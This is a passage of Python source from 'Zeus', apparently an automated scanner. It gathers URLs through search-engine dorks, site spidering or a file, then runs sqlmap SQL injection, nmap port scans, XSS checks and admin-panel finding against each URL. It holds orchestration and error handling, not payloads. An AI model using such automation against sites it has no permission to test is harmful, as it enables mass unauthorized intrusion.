try:
|
||||
search.parse_search_results(
|
||||
random_dork, search_engine, verbose=opt.runInVerbose,
|
||||
proxy=proxy_to_use, agent=agent_to_use
|
||||
)
|
||||
urls_to_use = get_latest_log_file(URL_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
logger.exception(set_color(
|
||||
"ran into exception '{}' and cannot continue, saved to current log file...".format(e),
|
||||
level=50
|
||||
))
|
||||
issue = prompt(
|
||||
"would you like to create an anonymous issue on Zeus's Github page", opts="yN"
|
||||
)
|
||||
if issue.lower().startswith("y"):
|
||||
fix_log_file()
|
||||
request_issue_creation()
|
||||
|
||||
elif opt.spiderWebSite:
|
||||
problem_identifiers = ["http://", "https://"]
|
||||
if not URL_REGEX.match(opt.spiderWebSite):
|
||||
err_msg = "URL did not match a true URL{}..."
|
||||
if not any(m in opt.spiderWebSite for m in problem_identifiers):
|
||||
err_msg = err_msg.format(" issue seems to be that http:// "
|
||||
"or https:// is not present in the URL")
|
||||
else:
|
||||
err_msg = err_msg.format("")
|
||||
raise InvalidInputProvided(
|
||||
err_msg
|
||||
)
|
||||
else:
|
||||
if URL_QUERY_REGEX.match(opt.spiderWebSite):
|
||||
is_sure = prompt(
|
||||
"it is recomened to not use a URL that has a GET(query) parameter in it, "
|
||||
"would you like to continue", "yN"
|
||||
)
|
||||
if is_sure.lower().startswith("y"):
|
||||
pass
|
||||
else:
|
||||
shutdown()
|
||||
|
||||
blackwidow.blackwidow_main(opt.spiderWebSite, agent=agent_to_use, proxy=proxy_to_use,
|
||||
verbose=opt.runInVerbose)
|
||||
|
||||
urls_to_use = get_latest_log_file(SPIDER_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
elif opt.fileToEnumerate is not None:
|
||||
with open(opt.fileToEnumerate) as urls:
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
for url in urls.readlines():
|
||||
url = url.strip()
|
||||
__run_attacks(
|
||||
url,
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
else:
|
||||
logger.fatal(set_color(
|
||||
"failed to provide an attack argument, attack argument must be provided "
|
||||
"for Zeus to attack the provided URL's", level=50
|
||||
))
|
||||
|
||||
else:
|
||||
logger.critical(set_color(
|
||||
"failed to provide a mandatory argument, you will be redirected to the help menu...", level=50
|
||||
))
|
||||
time.sleep(2)
|
||||
subprocess.call("python zeus.py --help", shell=True)
|
||||
except IOError:
|
||||
logger.fatal(set_color(
|
||||
"provided file does not exist, make sure you have the full path...", level=50
|
||||
))
|
||||
except KeyboardInterrupt:
|
||||
logger.error(set_color(
|
||||
"user aborted process...", level=40
|
||||
))
|
||||
except UnboundLocalError:
|
||||
logger.warning(set_color(
|
||||
"do not interrupt the browser when selenium is running, "
|
||||
"it will cause Zeus to crash...", level=30
|
||||
))
|
||||
except Exception as e:
|
||||
if "url did not match a true url" in str(e).lower():
|
||||
logger.error(set_color(
|
||||
"you did not provide a URL that is capable of being processed, "
|
||||
"the URL provided to the spider needs to contain protocol as well "
|
||||
"ie. 'http://google.com' (it is advised not to add the GET parameter), "
|
||||
"fix the URL you want to scan and try again...", level=40
|
||||
))
|
||||
shutdown()
|
||||
else:
|
||||
logger.exception(set_color(
|
||||
"ran into exception '{}' exception has been saved to log file...".format(e), level=50
|
||||
))
|
||||
issue = prompt(
|
||||
"would you like to create an anonymous issue on Zeus's Github page", opts="yN"
|
||||
)
|
||||
if issue.lower().startswith("y"):
|
||||
fix_log_file()
|
||||
request_issue_creation()
|
||||
|
||||
fix_log_file()
|
||||
shutdown()
|
||||
Loading…
Reference in a new issue